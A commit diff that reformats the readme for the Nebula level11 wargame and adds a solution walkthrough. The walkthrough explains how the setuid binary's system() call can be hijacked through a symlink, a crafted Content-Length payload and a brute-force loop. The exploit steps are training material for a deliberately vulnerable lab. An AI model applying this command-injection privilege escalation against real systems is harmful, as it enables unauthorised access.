Commit 32ead5d
Changed files (1)
exploit_exercises
nebula
level11
exploit_exercises/nebula/level11/readme.md
@@ -1,13 +1,16 @@
-----------------------------------------------
+# Nebula - Level11 - Content Injection
-About
-Source code
-The /home/flag11/flag11 binary processes standard input and executes a
+## About
+The `/home/flag11/flag11` binary processes standard input and executes a
shell command.
There are two ways of completing this level, you may wish to do both :-)
-To do this level, log in as the level11 account with the password
-level11. Files for this level can be found in /home/flag11.
+To do this level, log in as the `level11` account with the password
+`level11`. Files for this level can be found in `/home/flag11`.
+
+## Source code
+
+```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
@@ -30,7 +33,7 @@ int getrand(char **path)
tmp = getenv("TEMP");
pid = getpid();
-
+
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
@@ -76,7 +79,7 @@ int main(int argc, char **argv)
}
length = atoi(line + strlen(CL));
-
+
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
@@ -110,3 +113,44 @@ int main(int argc, char **argv)
}
}
+```
+
+## Solution
+
+The first path occurs when the content length == 1 as seen by the statement
+```
+if(fread(buf, length, 1, stdin) != length) {
+ err(1, "fread length");
+}
+```
+The `1` specifies that 1 element should be read into memory (see `man fread`). If there is not 1
+element to read, then the program reports an error and exits. The `process()` function call then
+proceeds to mangle the user input into a predictable different character. For instance, `D` always
+becomes `E`. The function then passes this new character to `system()` via a c-style buffer, which
+attempts to start a process using the executable path given to it. Recall that c-style buffers
+terminate with a `NULL` or `\0` character.
+
+To exploit this behavior, create a symbolic link to `/bin/getflag` (`ln -s /bin/getflag E`) that
+the program executes with properly formatted input. The lines
+
+```
+#define CL "Content-Length: "
+if(fgets(line, sizeof(line), stdin) == NULL) {
+ errx(1, "reading from stdin");
+}
+if(strncmp(line, CL, strlen(CL)) != 0) {
+ errx(1, "invalid header");
+}
+```
+
+check that there is input in `stdin`. If there is, the program next checks that the header matches
+`CL`, or "Content-Length: ".
+
+To craft the payload, `echo -ne "Content-Length: 1\nD'"` outputs the
+correct sequence for the link file `E`. To hope for a random, null-terminated buffer to occur (it
+happens), use `while true; do echo -ne "Content-Length: 1\nD'" | /home/flag11/flag11 2>>output; done`. The
+`2>>output` portion redirects `stderr` to `output`, thereby allowing only the successful system
+calls to appear in the terminal. If `sh: E: command not found` appears in the `output` file,
+modify the `PATH` variable via `PATH=$PATH:/home/level11`.
+Note that like previous solutions, this requires the disk to be mounted WITHOUT the `nosuid` option
+specified.